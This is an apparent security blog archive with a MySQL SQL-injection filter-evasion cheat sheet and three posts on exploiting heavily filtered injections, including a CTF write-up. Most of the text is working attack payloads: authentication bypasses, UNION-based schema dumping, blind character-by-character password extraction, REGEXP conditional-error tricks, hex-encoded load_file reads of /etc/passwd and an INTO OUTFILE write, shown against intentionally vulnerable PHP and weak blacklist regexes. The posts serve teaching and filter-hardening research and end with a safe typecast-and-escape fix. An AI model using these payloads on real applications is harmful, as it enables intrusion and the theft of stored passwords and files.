SQLi filter evasion cheat sheet (MySQL)

December 4, 2010

This week I presented my experiences in SQLi filter evasion techniques that I have gained during 3 years of PHPIDS filter evasion at the CONFidence 2.0 conference. You can find the slides here. For a quicker reference you can use the following cheatsheet. More detailed explaination can be found in the slides or in the talk (video should come online in a few weeks).

Basic filter

Comments
‘ or 1=1#
‘ or 1=1– -
‘ or 1=1/* (MySQL < 5.1)
' or 1=1;%00
' or 1=1 union select 1,2 as `
' or#newline
1='1
' or– -newline
1='1
' /*!50000or*/1='1
' /*!or*/1='1

Prefixes
+ – ~ !
‘ or –+2=- -!!!’2

Operators
^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL

Whitespaces
%20 %09 %0a %0b %0c %0d %a0 /**/
‘or+(1)sounds/**/like“1“–%a0-
‘union(select(1),tabe_name,(3)from`information_schema`.`tables`)#

Strings with quotes
SELECT ‘a’
SELECT “a”
SELECT n’a’
SELECT b’1100001′
SELECT _binary’1100001′
SELECT x’61′

Strings without quotes
‘abc’ = 0×616263

Aliases
select pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users

Typecasting
‘ or true = ’1 # or 1=1
‘ or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1
‘ or ’1 # or true

Compare operator typecasting
select * from users where ‘a’=’b’=’c’
select * from users where (‘a’=’b’)=’c’
select * from users where (false)=’c’
select * from users where (0)=’c’
select * from users where (0)=0
select * from users where true
select * from users

Authentication bypass ‘=’
select * from users where name = ”=”
select * from users where false = ”
select * from users where 0 = 0
select * from users where true
select * from users

Authentication bypass ‘-’
select * from users where name = ”-”
select * from users where name = 0-0
select * from users where 0 = 0
select * from users where true
select * from users

Function filter

General function filtering
ascii (97)
load_file/*foo*/(0×616263)

Strings with functions
‘abc’ = unhex(616263)
‘abc’ = char(97,98,99)
hex(‘a’) = 61
ascii(‘a’) = 97
ord(‘a’) = 97
‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))

Strings extracted from gadgets
collation(\N) // binary
collation(user()) // utf8_general_ci
@@time_format // %H:%i:%s
@@binlog_format // MIXED
@@version_comment // MySQL Community Server (GPL)
dayname(from_days(401)) // Monday
dayname(from_days(403)) // Wednesday
monthname(from_days(690)) // November
monthname(from_unixtime(1)) // January
collation(convert((1)using/**/koi8r)) // koi8r_general_ci
(select(collation_name)from(information_schema.collations)where(id)=2) // latin2_czech_cs

Special characters extracted from gadgets
aes_encrypt(1,12) // 4çh±{?”^c×HéÉEa
des_encrypt(1,2) // ‚GÒ/ïÖk
@@ft_boolean_syntax // + -><()~*:""&|
@@date_format // %Y-%m-%d
@@innodb_log_group_home_dir // .\

Integer representations
false: 0
true: 1
true+true: 2
floor(pi()): 3
ceil(pi()): 4
floor(version()): 5
ceil(version()): 6
ceil(pi()+pi()): 7
floor(version()+pi()): 8
floor(pi()*pi()): 9
ceil(pi()*pi()): 10
concat(true,true): 11
ceil(pi()*pi())+true: 11
ceil(pi()+pi()+version()): 12
floor(pi()*pi()+pi()): 13
ceil(pi()*pi()+pi()): 14
ceil(pi()*pi()+version()): 15
floor(pi()*version()): 16
ceil(pi()*version()): 17
ceil(pi()*version())+true: 18
floor((pi()+pi())*pi()): 19
ceil((pi()+pi())*pi()): 20
ceil(ceil(pi())*version()): 21
concat(true+true,true): 21
ceil(pi()*ceil(pi()+pi())): 22
ceil((pi()+ceil(pi()))*pi()): 23
ceil(pi())*ceil(version()): 24
floor(pi()*(version()+pi())): 25
floor(version()*version()): 26
ceil(version()*version()): 27
ceil(pi()*pi()*pi()-pi()): 28
floor(pi()*pi()*floor(pi())): 29
ceil(pi()*pi()*floor(pi())): 30
concat(floor(pi()),false): 30
floor(pi()*pi()*pi()): 31
ceil(pi()*pi()*pi()): 32
ceil(pi()*pi()*pi())+true: 33
ceil(pow(pi(),pi())-pi()): 34
ceil(pi()*pi()*pi()+pi()): 35
floor(pow(pi(),pi())): 36

@@new: 0
@@log_bin: 1

!pi(): 0
!!pi(): 1
true-~true: 3
log(-cos(pi())): 0
-cos(pi()): 1
coercibility(user()): 3
coercibility(now()): 4

minute(now())
hour(now())
day(now())
week(now())
month(now())
year(now())
quarter(now())
year(@@timestamp)
crc32(true)

Extract substrings
substr(‘abc’,1,1) = ‘a’
substr(‘abc’ from 1 for 1) = ‘a’
substring(‘abc’,1,1) = ‘a’
substring(‘abc’ from 1 for 1) = ‘a’
mid(‘abc’,1,1) = ‘a’
mid(‘abc’ from 1 for 1) = ‘a’
lpad(‘abc’,1,space(1)) = ‘a’
rpad(‘abc’,1,space(1)) = ‘a’
left(‘abc’,1) = ‘a’
reverse(right(reverse(‘abc’),1)) = ‘a’
insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’
space(0) = trim(version()from(version()))

Search substrings
locate(‘a’,’abc’)
position(‘a’,’abc’)
position(‘a’ IN ‘abc’)
instr(‘abc’,’a’)
substring_index(‘ab’,’b’,1)

Cut substrings
length(trim(leading ‘a’ FROM ‘abc’))
length(replace(‘abc’, ‘a’, ”))

Compare strings
strcmp(‘a’,’a’)
mod(‘a’,’a’)
find_in_set(‘a’,’a’)
field(‘a’,’a’)
count(concat(‘a’,’a’))

String length
length()
bit_length()
char_length()
octet_length()
bit_count()

String case
ucase
lcase
lower
upper
password(‘a’) != password(‘A’)
old_password(‘a’) != old_password(‘A’)
md5(‘a’) != md5(‘A’)
sha(‘a’) != sha(‘A’)
aes_encrypt(‘a’) != aes_encrypt(‘A’)
des_encrypt(‘a’) != des_encrypt(‘A’)

Keyword filter

Connected keyword filtering
(0)union(select(table_name),column_name,…
0/**/union/*!50000select*/table_name`foo`/**/…
0%a0union%a0select%09group_concat(table_name)….
0′union all select all`table_name`foo from`information_schema`. `tables`

OR, AND
‘||1=’1
‘&&1=’1
‘=’
‘-’

OR, AND, UNION
‘ and (select pass from users limit 1)=’secret

OR, AND, UNION, LIMIT
‘ and (select pass from users where id =1)=’a

OR, AND, UNION, LIMIT, WHERE
‘ and (select pass from users group by id having id = 1)=’a

OR, AND, UNION, LIMIT, WHERE, GROUP
‘ and length((select pass from users having substr(pass,1,1)=’a’))

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING
‘ and (select substr(group_concat(pass),1,1) from users)=’a
‘ and substr((select max(pass) from users),1,1)=’a
‘ and substr((select max(replace(pass,’lastpw’,”)) from users),1,1)=’a

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT
‘ and substr(load_file(‘file’),locate(‘DocumentRoot’,(load_file(‘file’)))+length(‘DocumentRoot’),10)=’a
‘=” into outfile ‘/var/www/dump.txt

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE
‘ procedure analyse()#
‘-if(name=’Admin’,1,0)#
‘-if(if(name=’Admin’,1,0),if(substr(pass,1,1)=’a’,1,0),0)#

Control flow
case ‘a’ when ‘a’ then 1 [else 0] end
case when ‘a’=’a’ then 1 [else 0] end
if(‘a’=’a’,1,0)
ifnull(nullif(‘a’,’a’),1)

If you have any other useful tricks I forgot to list here please leave a comment.


Exploiting hard filtered SQL Injections 3

May 26, 2010

This is a follow-up post of the first edition of Exploiting hard filtered SQL Injections and at the same time a writeup for Campus Party CTF web4. In this post we will have a closer look at group_concat() again.

Last month I was invited to Madrid to participate at the Campus Party CTF organized by SecurityByDefault. Of course I was mainly interested in the web application challenges, but there was also reverse engineering, cryptography and network challenges. For each of the categories there was 4 difficulty levels. The hardest webapp challenge was a blind SQLi with some filtering. Techniques described in my last blogposts did not helped me so I had to look for new techniques and I promised to do a little writeup on this.
The challenge was a news site with a obvious SQLi in the news id GET parameter. For different id’s specified by the user one could see different news articles while a SQL error resulted in no article being displayed. The filter was like the “basic keyword filter” I already introduced here with additional filtering for SQL comments:

if(preg_match('/\s/', $id))
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
	exit('attack'); // no slashes
if(preg_match('/(and|null|where|limit)/i', $id))
	exit('attack'); // no sqli keywords
if(preg_match('/(--|#|\/\*)/', $id))
	exit('attack'); // no sqli comments

The first attempt was to create a working UNION SELECT with %a0 as a whitespace alternative which is not covered by the whitespace regex but works on MySQL as a whitespace.

?id=1%a0union%a0select%a01,2,group_concat(table_name),4,5,6%a0from%a0information_schema.tables;%00

However no UNION SELECT worked, I had no FILE PRIV and guessing the table and column names was too difficult in the short time because they were in spanish and with different upper and lower case letters. So I decided to go the old way with parenthesis and a CASE WHEN:

?id=(case(substr((select(group_concat(table_name))from(information_schema.tables)),1,1))when(0x61)then(1)else(2)end)

The news article with id=1 is shown when the first letter of all concated table names is ‘a’, otherwise news article with id=2 is shown.

As stated in my last post the output of group_concat() is limited to 1024 characters by default. This is sufficient to retrieve all table names because all default table names concated have a small length and there is enough space left for custom tables.
However the length of all standard columns is a couple of thousands characters long and therefore reading all column names with group_concat() is not easily possible because it will only return the first 1024 characters of concated standard columns of the database mysql and information_schema *.
Usually, the goal is to SELECT column names only from a specific table to make the result length smaller than 1024 characters. In case WHERE and LIMIT is filtered I presented a “WHERE alternative” in the first part:

?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))#

Here I co-SELECTed the column table_name to use it in the HAVING clause (otherwise the error Unknown column ‘table_name’ in ‘having clause’ would occur). In a subSELECT you cannot select from more than one column and this is where I struggled during the challenge. The easiest way would have been to use GROUP BY with %a0 as delimiter:

?id=(case(substr((select(group_concat(column_name))from(information_schema.columns)group%a0by(table_name)having(table_name)=0x41646D696E6973747261646F726553),1,1))when(0x61)then(1)else(2)end)

But what I tried to do is to find a way around the limiting 1024 character of group_concat(). Lets assume the keywords “group” and “having” are filtered also ;) First I checked the total amount of all columns:

?id=if((select(count(*))from(information_schema.columns))=187,1,2)

Compared to newer MySQL versions the amount of 187 was relatively small (my local MySQL 5.1.36 has 507 columns by default, it was MySQL 5.0).
Now the idea was to only concatenate the first few characters of each column_name to fit all beginnings of all column_names into 1024 characters. Then it would be possible to read the first characters of the last columns (this is where the columns of user-created tables appear). After this the next block of characters can be extracted for each column_name and so on until the whole name is reconstructed.
So the next step was to calculate the maximum amount of characters I could read from each column_name without exceeding the maximum length of 1024:

5 characters * 187 column_names = 935 characters

Well thats not correct yet, because we have to add the commas group_concat() adds between each column. That is additional 186 characters which exceeds the maximum length of 1024. So we take only 4 characters per column_name:

4 characters * 187 column_name + 186 commas = 934 characters

The injection looked like this:

?id=(case(substr((select(group_concat(substr(column_name,1,4)))from(information_schema.columns)),1,1))when(0x61)then(1)else(2)end)

To avoid finding the right offset where the user tables starts I began to extract column name by column name from the end, until I identified columns of the default mysql database (a local mysql setup helps a lot).

I think the following graphic helps to get a better idea of what I did.
The first SELECT shows a usual group_concat() on all column names (red blocks with different length) that misses the columns from user-created tables that appear at the end of the block list.
The second query concatenates only the first 4 characters (blue) of every name to make the resultset fit into the 1024 character limit. In the same way the next block of 4 characters can be SELECTed (third query).

Each string of concatenated substrings can be read char by char to reconstruct the column names (last query).

It gets a bit tricky when the offsets change while reading the second or third block of 4 characters and you need to keep attention to not mix up the substrings while putting them back together for every column name. A little PHP script automated the process and saved some time. Although this approach was way to complicated to solve this challenge, I learned a lot ;)
In the end I ranked 2nd in the competition. I would like to thank again SecurityByDefault for the fun and challenging contest, especially Miguel for the SQLi challenges and give kudos to knx (1st), aw3a (3rd) and LarsH (the only one solving the tough reversing challenges).

By the way the regex filters presented in the last posts are not only for fun and challenges: I have seen widely used community software using (bypassable) filters like these.

* Note that the exact concated length and amount of columns and tables depends on your MySQL version. Generally the higher your version is, the more column names are available and the longer is the concated string. You can use the following queries to check it out yourself:

select sum(length(table_name)) from information_schema.tables where table_schema = 'information_schema' or table_schema='mysql'
select sum(length(column_name)) from information_schema.columns where table_schema = 'information_schema' or table_schema='mysql'

More:
Part 1, Part2, SQLi filter evasion cheatsheet


Exploiting hard filtered SQL Injections 2 (conditional errors)

May 7, 2010

This is a addition to my last post about Exploiting hard filtered SQL Injections. I recommend reading it to understand some basic filter evasion techniques. In this post we will have a look at the same scenario but this time we will see how it can be solved with conditional errors in a totally blind SQLi scenario.
For this we consider the following intentionally vulnerable source code:

<?php
// DB connection

// $id = (int)$_GET['id'];
$id = $_GET['id'];

$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id") or die("Error");

if($data = mysql_fetch_array($result))
	$_SESSION['name'] = $data['name'];
?>

(proper securing is shown on line 4 to avoid the same confusion as last time ;))

The main difference to the previous source code is that the user/attacker will not see any output of the SQL query itself because the result is only used for internals. However, the application has a notable difference when an error within the SQL query occurs. In this case it simply shows “Error” but this behavior could also be a notable MySQL error message when error_reporting=On or any other custom error or default page that indicates a difference between a good or bad SQL query. Or think about INSERT queries where you mostly don’t see any output of your injection rather than a “successful” or not.

Known conditional errors

Now how do we exploit this? “Timing!” you might say, but thats not the topic for today so I’ll filter that out for you ;)

if(preg_match('/(benchmark|sleep)/i', $id)) 
	exit('attack'); // no timing

If you encounter keyword filtering it is more than likely that timing is forbidden because of DoS possibilities. On the other hand using conditional errors is just faster and more accurate.
The most common documented error for SQLi usage is a devision by zero.

?id=if(1=1, CAST(1/0 AS char), 1)

However this throws an error only on PostgreSQL and Oracle (and some old MSSQL DBMS) but not on MySQL. A known alternative to cause a conditional error under MySQL is to use a subquery with more than one row in return:

?id=if(1=1, (select table_name from information_schema.tables), 1)

Because the result of the subquery is compared to a single value it is necessary that only one value is returned. A SELECT on all rows of information_schema.tables will return more than one value and this will result in the following error:

Subquery returns more than 1 row

Accordingly our vulnerable webapp will output “Error” and indicate if the condition (1=1) was true or false. Note that we have to know a table and column name to use this technique.

conditional errors with regex

Until yesterday I did not knew of any other way to throw a conditional error under MySQL (if you know any other, please leave a comment!) and from time to time I was stuck exploiting hard filtered SQL Injections where I could not use timing or known conditional errors because I could not access information_schema or any other table. A new way to trigger conditional errors under MySQL can be achieved by using regular expressions (regex).
Regexes are often used to prevent SQL injections, just like in my bad filter examples (which you should never use for real applications). But also for attackers a regex can be very useful. MySQL supports regex by the keyword REGEXP or its synonym RLIKE.

SELECT id,title,content FROM news WHERE content REGEXP '[a-f0-9]{32}'

The interesting part for a SQL Injection is that an error in the regular expression will result in a MySQL error as well. Here are some examples:

SELECT 1 REGEXP ''
Got error 'empty (sub)expression' from regexp
SELECT 1 REGEXP '('
Got error 'parentheses not balanced' from regexp
SELECT 1 REGEXP '['
Got error 'brackets ([ ]) not balanced' from regexp
SELECT 1 REGEXP '|'
Got error 'empty (sub)expression' from regexp
SELECT 1 REGEXP '\\'
Got error 'trailing backslash (\)' from regexp
SELECT 1 REGEXP '*', '?', '+', '{1'
Got error 'repetition-operator operand invalid' from regexp
SELECT 1 REGEXP 'a{1,1,1}'
Got error 'invalid repetition count(s)' from regexp

This can be used to build conditional errors loading an incorrect regular expression depending on our statement. The following injection will check if the MySQL version is 5 or not:

?id=(select(1)rlike(case(substr(@@version,1,1)=5)when(true)then(0x28)else(1)end))

If the condition is true a incorrect hex encoded regular expression is evaluated and an error is thrown. But in this case we could also have used a subselect error as above if we know a table name. Now consider a similar filter introduced in my previous post:

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes
if(preg_match('/(and|or|null|not)/i', $id)) 
	exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id)) 
	exit('attack'); // no sqli select keywords
if(preg_match('/(into|file)/i', $id))
	exit('attack'); // no file operation
if(preg_match('/(benchmark|sleep)/i', $id)) 
	exit('attack'); // no timing

The first highlighted filter avoids using the known conditional error because we can not use subselects. The last two highlighted filters prevents us from using time delays or files as a side channel. However the new technique with REGEXP does not need a SELECT to trigger a conditional error because we inject into a WHERE statement and MySQL allows a comparison of three operands:

?id=(1)rlike(if(mid(@@version,1,1)like(5),0x28,1))

If the first char of the version is ’5′ then the regex ‘(‘ will be compared to 1 and an error occurs because of unbalanced parenthesis. Otherwise the regex ’1′ will be evaluated correctly and no error occurs. Again we have everything we need to retrieve data from the database and to have fun with regex filter evasions by regex errors.

More:
Part 1, Part 3, SQLi filter evasion cheatsheet


Exploiting hard filtered SQL Injections

March 19, 2010

While participating at some CTF challenges like Codegate10 or OWASPEU10 recently I noticed that it is extremely trendy to build SQL injection challenges with very tough filters which can be circumvented based on the flexible MySQL syntax. In this post I will show some example filters and how to exploit them which may also be interesting when exploiting real life SQL injections which seem unexploitable at first glance.

For the following examples I’ll use this basic vulnerable PHP script:

<?php
// DB connection

$id = $_GET['id'];
$pass = mysql_real_escape_string($_GET['pass']);

$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' ");

if($data = @mysql_fetch_array($result))
	echo "Welcome ${data['name']}";
?>

Note: the webapplication displays only the name of the first row of the sql resultset.

Warmup

Lets warm up. As you can see the parameter “id” is vulnerable to SQL Injection. The first thing you might want to do is to confirm the existence of a SQLi vulnerability:

?id=1 and 1=0-- -
?id=1 and 1=1-- -

You also might want to see all usernames by iterating through limit (x):

?id=1 or 1=1 LIMIT x,1-- -

But usernames are mostly not as interesting as passwords and we assume that there is nothing interesting in each internal user area.

So you would like to know what the table and column names are and you try the following:

?id=1 and 1=0 union select null,table_name,null from information_schema.tables limit 28,1-- -
?id=1 and 1=0 union select null,column_name,null from information_schema.columns where table_name='foundtablename' LIMIT 0,1-- -

After you have found interesting tables and its column names you can start to extract data.

?id=1 and 1=0 union select null,password,null from users limit 1,1-- -

Ok thats enough for warming up.

Whitespaces, quotes and slashes filtered

Of course things aren’t that easy most time. Now consider the following filter for some extra characters:

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes

As you can see above our injections have a lot of spaces and some quotes. The first idea would be to replace the spaces by /*comments*/ but slashes are filtered. Alternative whitespaces are all catched by the whitespace filter. But luckily because of the flexible MySQL syntax we can avoid all whitespaces by using parenthesis to seperate SQL keywords (old but not seen very often).

?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit 28,1-- -)

Looks good, but still has some spaces at the end. So we also use group_concat() because LIMIT requires a space and therefore can’t be used anymore. Since all table names in one string can be very long, we can use substr() or mid() to limit the size of the returning string. As SQL comment we simply take “#” (not urlencoded for better readability).

?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables))#

Instead of a quoted string we can use the SQL hex representation of the found table name:

?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))#

Nice.

Basic keywords filtered

Now consider the filter additionally checks for the keywords “and”, “null”, “where” and “limit”:

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes
if(preg_match('/(and|null|where|limit)/i', $id)) 
	exit('attack'); // no sqli keywords

For some keywords this is still not a big problem. Something most of you would do from the beginning anyway is to confirm the SQLi with the following injections leading to the same result:

?id=1#
?id=2-1#

To negotiate the previous resultset you can also use a non-existent id like 0. Instead of the place holder “null” we can select anything else of course because it is only a place holder for the correct column amount. So without the WHERE we have:

?id=(0)union(select(0),group_concat(table_name),(0)from(information_schema.tables))#
?id=(0)union(select(0),group_concat(column_name),(0)from(information_schema.columns))#

This should give us all table and column names. But the output string from group_concat() gets very long for all available table and column names (including the columns of the mysql system tables) and the length returned by group_concat() is limited to 1024 by default. While the length may fit for all table names (total system table names length is about 900), it definitely does not fit for all available column names because all system column names concatenated already take more than 6000 chars.

WHERE alternative

The first idea would be to use ORDER BY column_name DESC to get the user tables first but that doesn’t work because ORDER BY needs a space. Another keyword we have left is HAVING.
First we have a look which databases are available:

?id=(0)union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))#

This will definitely fit into 1024 chars, but you can also use database() to get the current database name:

?id=(0)union(select(0),database(),(0))#

Lets assume your database name is “test” which hex representation is “0×74657374″. Then we can use HAVING to get all table names associated with the database “test” without using WHERE:

?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))#

Note that you have to select the column “table_schema” in one of the place holders to use this column in HAVING. Since we assume that the webapp is designed to return only the first row of the result set, this will give us the first table name. The second table name can be retrieved by simply excluding the first found table name from the result:

?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))#

We use && as alternative for the filtered keyword AND (no urlencoding for better readability). Keep excluding table names until you have them all. Then you can go on with exactly the same technique to get all column names:

?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))#
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))#

Unfortunately you can’t use group_concat() while using HAVING hence the excluding step by step.

intermediate result

What do we need for our injections so far?
keywords: “union”, “select”, “from”,”having”
characters: (),._# (& or “and”)
String comparing characters like “=” and “!=” can be avoided by using the keywords “like” and “rlike” or the function strcmp() together with the keyword “not”:

?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)and(NOT((column_name)like(0x6964)))))#

advanced keyword filtering

Now its getting difficult. The filter also checks for all keywords previously needed:

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes
if(preg_match('/(and|or|null|where|limit)/i', $id)) 
	exit('attack'); // no sqli keywords
if(preg_match('/(union|select|from|having)/i', $id)) 
	exit('attack'); // no sqli keywords

What option do we have left?

If we have the FILE privilege we can use load_file() (btw you can’t use into outfile without quotes and spaces). But we can’t output the result of load_file() because we can not use union select so we need another way to read the string returned by the load_file().
First we want to check if the file can be read. load_file() returns “null” if the file could not be read, but since the keyword “null” is filtered we cant compare to “null” or use functions like isnull(). A simple solution is to use coalesce() which returns the first not-null value in the list:

?id=(coalesce(length(load_file(0x2F6574632F706173737764)),1))

This will return the length of the file content or – if the file could not be read – a “1″ and therefore the success can be seen by the userdata selected in the original query. Now we can use the CASE operator to read the file content blindly char by char:

?id=(case(mid(load_file(0x2F6574632F706173737764),$x,1))when($char)then(1)else(0)end)

(while $char is the character in sql hex which is compared to the current character of the file at offset $x)

We bypassed the filter but it requires the FILE privilege.

filtering everything

Ok now we expand the filter again and it will check for file operations too (or just assume you don’t have the FILE privilege). We also filter SQL comments. So lets assume the following (rearranged) filter:

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes
if(preg_match('/(and|or|null|not)/i', $id)) 
	exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id)) 
	exit('attack'); // no sqli select keywords
if(preg_match('/(group|order|having|limit)/i', $id)) 
	exit('attack'); //  no sqli select keywords
if(preg_match('/(into|file|case)/i', $id)) 
	exit('attack'); // no sqli operators
if(preg_match('/(--|#|\/\*)/', $id)) 
	exit('attack'); // no sqli comments

The SQL injection is still there but it may look unexploitable. Take a breath and have a look at the filter. Do we have anything left?

We cant use procedure analyse() because it needs a space and we cant use the ’1′%’0′ trick. Basically we only have special characters left, but that is often all we need.

We need to keep in mind that we are already in a SELECT statement and we can add some conditions to the existing WHERE clause. The only problem with that is that we can only access columns that are already selected and that we do have to know their names. In our login example they shouldn’t be hard to guess though. Often they are named the same as the parameter names (as in our example) and in most cases the password column is one of {password, passwd, pass, pw, userpass}.
So how do we access them blindly? A usual blind SQLi would look like the following:

?id=(case when(mid(pass,1,1)='a') then 1 else 0 end)

This will return 1 to the id if the first char of the password is ‘a’. Otherwise it will return a 0 to the WHERE clause. This works without another SELECT because we dont need to access a different table. Now the trick is to express this filtered CASE operation with only boolean operators. While AND and OR is filtered, we can use the characters && and || to check, if the first character of the pass is ‘a’:

?id=1&&mid(pass,1,1)=(0x61);%00

We use a nullbyte instead of a filtered comment to ignore the check for the right password in the original sql query. Make sure you prepend a semicolon. Nice, we can now iterate through the password chars and extract them one by one by comparing them to its hex representation. If it matches, it will show the username for id=1 and if not the whole WHERE becomes untrue and nothing is displayed. Also we can iterate to every password of each user by simply iterating through all ids:

?id=2&&mid(pass,1,1)=(0x61);%00
?id=3&&mid(pass,1,1)=(0x61);%00

Of course this takes some time and mostly you are only interested in one specific password, for example of the user “admin” but you dont know his id. Basically we want something like:

?id=(SELECT id FROM users WHERE name = 'admin') && mid(pass,1,1)=('a');%00

The first attempt could be:

?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00

That does not work because the “OR 1=1″ at the beginning is stronger than the “AND”s so that we will always see the name of the first entry in the table (it gets more clearly wenn you write the “OR 1=1″ at the end of the injection). So what we do is we compare the column id to the column id itself to make our check for the name and password independent of all id’s:

?id=id&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00

If the character of the password is guessed correctly we will see “Hello admin” – otherwise there is displayed nothing. With this we have successfully bypassed the tough filter.

filtering everything and even more

What else can we filter to make it more challenging? Sure, some characters like “=”, “|” and “&”.

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes
if(preg_match('/(and|or|null|not)/i', $id)) 
	exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id)) 
	exit('attack'); // no sqli select keywords
if(preg_match('/(group|order|having|limit)/i', $id)) 
	exit('attack'); //  no sqli select keywords
if(preg_match('/(into|file|case)/i', $id)) 
	exit('attack'); // no sqli operators
if(preg_match('/(--|#|\/\*)/', $id)) 
	exit('attack'); // no sqli comments
if(preg_match('/(=|&|\|)/', $id)) 
	exit('attack'); // no boolean operators

Lets see. The character “=” shouldn’t be problematic as already mentioned above, we simply use “like” or “regexp” etc.:

?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);%00

The character “|” isn’t even needed. But what about the “&”? Can we check for the name=’admin’ and for the password characters without using logical operators?

After exploring all sorts of functions and comparison operators I finally found the simple function if(). It basically works like the CASE structure but is a lot shorter and ideal for SQL obfuscation / filter evasion. The first attempt is to jump to the id which correspondents to the name = ‘admin’:

?id=if((name)like(0x61646D696E),1,0);%00

This will return 1, if the username is admin and 0 otherwise. Now that we actually want to work with the admin’s id we return his id instead of 1:

?id=if((name)like(0x61646D696E),id,0);%00

Now the tricky part is to not use AND or && but to also check for the password chars. So what we do is we nest the if clauses. Here is the commented injection:

?id=
if(
  // if (it gets true if the name='admin')
	if((name)like(0x61646D696E),1,0),
  // then (if first password char='a' return admin id, else 0)
	if(mid((password),1,1)like(0x61),id,0),
  // else (return 0)
	0
);%00

Injection in one line:

?id=if(if((name)like(0x61646D696E),1,0),if(mid((password),1,1)like(0x61),id,0),0);%00

Again you will see “Hello admin” if the password character was guessed correctly and otherwise you’ll see nothing (id=0). Sweet!

Conclusion

(My)SQL isn’t as flexible as Javascript, thats for sure. The main difference is that you can’t obfuscate keywords because there is nothing like eval() (as long as you don’t inject into stored procedures). But as shown in this article there isn’t much more needed than some characters (mainly parenthesis and commas) to not only get a working injection but also to extract data or read files. Various techniques also have shown that detecting and blocking SQL injections based on keywords is not reliable and that exploiting those is just a matter of time.

If you have any other clever ways for bypassing the filters described above please leave a comment. What about additionally filtering “if” too ?

Edit:
Because there has been some confusion: you should NOT use the last filter for securing your webapp. This post shows why it is bad to rely on a blacklist. To secure your webapp properly, typecast expected integer values and escape expected strings with mysql_real_escape_string(), but don’t forget to embed the result in quotes in your SQL query.

Here is a safe patch for the example:

$id = (int) $_GET['id'];
$pass = mysql_real_escape_string($_GET['pass']);
$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' ");

For more details have a look at the comments.

More:
Part2, Part 3, SQLi filter evasion cheatsheet


Follow

Get every new post delivered to your Inbox.

Join 77 other followers